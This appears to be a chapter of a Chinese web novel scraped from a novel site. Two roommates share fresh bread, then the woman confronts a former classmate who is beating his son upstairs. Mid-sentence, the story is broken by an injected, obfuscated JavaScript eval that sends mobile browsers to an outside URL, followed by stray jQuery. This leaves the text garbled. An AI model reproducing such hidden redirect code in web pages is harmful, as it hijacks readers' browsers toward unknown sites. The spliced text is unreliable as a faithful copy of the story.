侧卧的房间有一扇落地窗,可以直接看见一望无际的海。
清晨,阳光洒在海面,泛起金色的波澜。一圈圈往外荡,灿烂无比。
桌上摆着本砖头厚的笔记,空调的风掀开封面,里面张贴着旧报纸、老照片以及车票截图等,旁边密密麻麻写了一些字。
沈听澜将笔记扣好,打乱密码区,放进了抽屉。他拿着毛巾往头上囫囵擦了两下,差不多半干便把毛巾往衣篓一扔。
他没吃早饭,刚冲完澡,有点头晕,坐在椅子上缓了几分钟,从墙壁的箱子里拿了桶泡面。
可惜合租室友不包早饭。
沈听澜拿着泡面推开房门,一股甜香味瞬间涌了过来。
他忘了去接水,顺着味道走到厨房门口。许尽欢的长卷发在脑后扎了个低马尾,身上穿条红色长裙,在单调的厨房里格外鲜活。
她戴着隔热手套把烤好面包从烤箱里端出来,金黄的面包散发着香气。
许尽欢转身才看到门口有人。
沈听澜正直勾勾盯着她端着的面包。
“想吃?”许尽欢抱着胳膊,眉眼挑着笑意看他。
沈听澜对上她的眼睛,思索片刻:“这个面包,你应该打算后期甜品店开业后进行售卖吧,你按市场价格卖给我。”
他猜得没错,这个酸奶菠萝吐司的确是之后打算售卖的面包之一。
许尽欢没回答,指着他手里的泡面:“先把这放回去,我看着碍眼。”
这算是答应了,沈听澜转身回头往房间走。泡面“咚”一声砸到墙壁,在地上滚了几圈。他没管,甩上门往客厅走。
面包放在客厅餐桌上,许尽欢正拿着手机不知道看什么,眉头紧皱着,抽空看他一眼:“等一下,凉一会儿再吃。”
沈听澜在桌边坐下,等着。
许尽欢轻嗤一声,在屏幕上点了几下,然后把手机甩到一边:“一个仗着自己有钱的弱智。”
这个形容似乎有点在暗讽他。
沈听澜盯着她,没作声。
话说出口,许尽欢想起来面前还有一个有钱人家的少爷,解释的话说了一半却忽然卡壳:“我没说你,是……”
沈听澜往后一靠,双手环胸,定定望向她:“是谁?”
老实说,许尽欢不知道该怎么形容这段未遂的联姻关系,什么样的家庭啊,还用得上联姻。面前这位少爷也姓沈,说不定还跟那沈家沾亲带故。
不好说。
而且,她不愿意在别人面前提周家。不论她活得如何潇洒,只要别人提起来周家,提起来周家林,对她就只有轻飘飘一句私生女。没人在意周家给她们母女带来的耻辱和痛苦。
许尽欢淡淡道:“家里安排的相亲对象。”
沈听澜怔了怔,反应过来后,错愕地问:“你,相亲?”
这语气落在许尽欢耳朵里可不怎么友好,于是撑着桌子往前凑近,俯身在他面前:“我,相亲,怎么了?”
沈听澜凝视着面前突然凑近的面孔,女人眼睛很亮,倒映着霞光,眼尾上扬,勾起点挑衅的笑意。屋内霎时安静下来,他猛地向后靠了靠:“没什么。”
许尽欢也退了回来,估摸着时间差不多,把面包从模具里取出。
面包的香味更浓了。
她去厨房拿了两个盘子,把面包掰成两块,分别放到两个盘子里,她将其中一个盘子放到对面。
沈听澜视线落在面包上,觉得自己应该表示一下关心:“那个相亲对象,惹你不高兴了?”
“他要给我钱,让我离他点。”许尽欢掀开眼皮看他一眼,表情没什么变化,拿着块面包咬了口,“他以为自己是谁,有点臭钱了不起了。”
沈听澜听着总觉得是在骂自己,清了清嗓子:“那你怎么回的?”
许尽欢扬眉一笑:“我把他拉黑了。”
他“啊”了声,没再多问,怕引火上身。
面包刚出炉,香味飘了满屋。上铺一层椰蓉,面包松软香甜、软糯拉丝,咬一口里面酸奶菠萝馅溢满口腔,菠萝的酸甜和嫩滑的酸奶酱融合得恰到好处。
两人几分钟就吃完了一整个。
沈听澜没吃饱,盯着空盘子叹了口气。
“烤箱还有一个,还有不到五分钟。”许尽欢看了眼手机的定时。
沈听澜抬眼,点点头,从身上拿出手机:“多少钱,加个微信,我转给你。”
许尽欢点开微信,递了过去,屏幕上是个可爱的小猫头,有点眼熟。沈听澜刚准备扫,头顶一声巨响传来,几乎感觉到楼上地板在震动,接着响起小孩撕心裂肺的哭声。
两人同时抬头向上看,又对了对眼神。
许尽欢把手机收了回去,沉默地坐着没说话。
哭声没停。
伴随着哀嚎的是一声声皮肉上的抽打。
这场单方面的施暴持续了五分钟还没停,之所以对时间的概念这么清楚,是因为许尽欢的手机响了,定的时间到了。
“叮———”
许尽欢猛地一拍桌子:“我上去看看,你去把面包拿出来,记得戴手套。”
沈听澜皱了皱眉,没等他说话,人已经冲出去了。
-
许如燕南下创业前,母女二人在临海小区住了六年。期间也发生过一例类似的事,当时她马上要小升初,楼上每天甩东西砸地板,各种劈里啪啦的声音持续了一周。
母亲终于无法忍受,在一天晚上声音又响起时上了楼。这才发现他们正在打孩子。挨打的人和许尽欢年纪相仿,许如燕在楼道跟人大吵一架,不知道怎么解决的,她只记得后来晚上没再听到过声音。
上楼时许尽欢还在回忆当初那个挨打的男生。巧的是,后来升上初中,两人分在了一个班。可惜她怎么也想不起来男生叫什么了。
过了这么长时间,他们已经长大成人,不知道现在住在这里的是谁,挨打的又是谁。
“我在外拼了命赚钱养家,你看看你考了个什么?!”
“你叫谁,叫你妈啊,你妈早跑了不要你了,你喊她有什么用?”
“我累死累活养着你,你个吃里扒外的东西还想着她,你有本事去找你妈啊。吃我的穿我的,还想着那臭婊子,我不打死你!”
“……”
站在门口,声音近在咫尺,男孩的哭声更令人心惊。
许尽欢敲了敲门,半天没人应,她不满地皱眉,接着哐哐砸了两下:“开门!”
声音霎时停了。
静了一阵子。
门后响起脚步声。
门倏然拉开,映入眼帘的是个男人。他拎着半瓶啤酒,蓬头垢面,胡子拉碴,白色衬衫脏成灰色,皱巴巴套在身上。看见她时,男人眼中闪过诧异。
许尽欢视线越过他看向缩在客厅里啜泣的小孩:“大清早干嘛呢,好不容易休息一天,让不让人睡觉了?”
男人定定看着她,没说话。
许尽欢皱着眉,用力拍了两下大门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024949|178584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“跟你说话呢,没听见?”
男人回神,视线却仍旧定在她身上,缓缓道:“欢姐?”
许尽欢一怔,这才认真打量起他。
是有点熟悉。
男人指着自己:“我啊,王晟。”
许尽欢震慑在原地,愣了许久。
她想起来了。
对,他叫王晟。
许尽欢忽然感觉身体被定在那里,脚下有千斤重。
记忆里在班上总是沉默寡言的男生怎么也无法和面前这个市侩、失意的男人重合在一起。如果他不说,这样的人走在街上,她无论如何都不会注意到。匆匆一瞥,估计都不会在脑海里留下记忆。
“欢姐,真是你啊,我差点没认出来,你不是去北城了吗,怎么回来了?”王晟从兜里掏出盒烟,咬了根叼在嘴里点燃。
许尽欢回过神,呼出口气,冷着脸没搭他茬:“大早上你干嘛呢?”
王晟指间夹着烟,低声笑了下,指着后面发抖的小孩:“期末没考好,我正在教育他。”
烟雾飘到面前,呛人。
许尽欢咳嗽了两下,强忍着说:“拳脚教育?”
王晟笑了笑:“对,都这样,小孩挨两下揍没事,都是这么长大的。不打他不知道谁是他老子,不都说棍棒底下出孝子么。”
许尽欢差点骂出口:“我记得你当时高中没考上。”
“对,我成绩差。比不上你们这些学霸,上学就混个日子,读完技校就下来赚钱养家了。”他吐出口烟,笑道。
许尽欢往后退了两步,避开二手烟飘起的正中心:“你挨的打不少吧,你看你成绩也没上去。”
王晟脸色难看:“你!”
“你父母怎么样?”她走到旁边,打开了窗户,新鲜空气钻进来,冲淡了烟味。
王晟不明白她到底想干什么:“我爸早就去世了,我妈在老家,你要干什么?”
许尽欢挑了挑眉:“棍棒底下出不了孝子,你不就是最好的例子。”
王晟顿时怒了:“许尽欢,你到底要干嘛,我教育我自己的儿子,关你屁事!”
身后楼梯间传来脚步声,许尽欢余光往后扫了一眼,确认是不是路人:“我说了,你打扰到我休息了。我听不惯你这动静,行吗?”
“你还以为在学校那时候,真把自己当老大了,我们家的事跟你没关系,少管闲事。”王晟啐了口,咬着燃到一半的烟头,走过去猛地推了她一下。
许尽欢往后踉跄一步,接着上前夺走烟头,扔到地上踩灭:“要没人管闲事,你当初早被你爸打死了。挨打什么滋味你不清楚吗,你现在拿你孩子撒火算什么本事。”
“你没完了是吧?”王晟扬起手臂。
许尽欢眯了下眼睛,抓着他的胳膊往下压,抬腿踹了过去,一声惨叫。她今天穿了高跟鞋,尖锐的根踢一脚,滋味可不好受。
王晟疼得龇牙咧嘴,指着她的鼻子:“我跟你没完。”
她笑了笑,刚要说话,身旁忽然窜过一个身影,男生两步迈过站到她面前,对王晟说:“动下手你试试。”
宽阔的后背挡住面前所有视线,许尽欢瞬间懵了。
他来干嘛?
疑问在脑海里兜兜转转,最后她鬼使神差地想,原来这小子会放狠话啊。
这种被比自己小好几岁弟弟护在身后的感觉让她飘飘然起来,她扒着沈听澜的胳膊探出头,颇有点狐假虎威地得瑟:“听见没,还敢动手你试试!”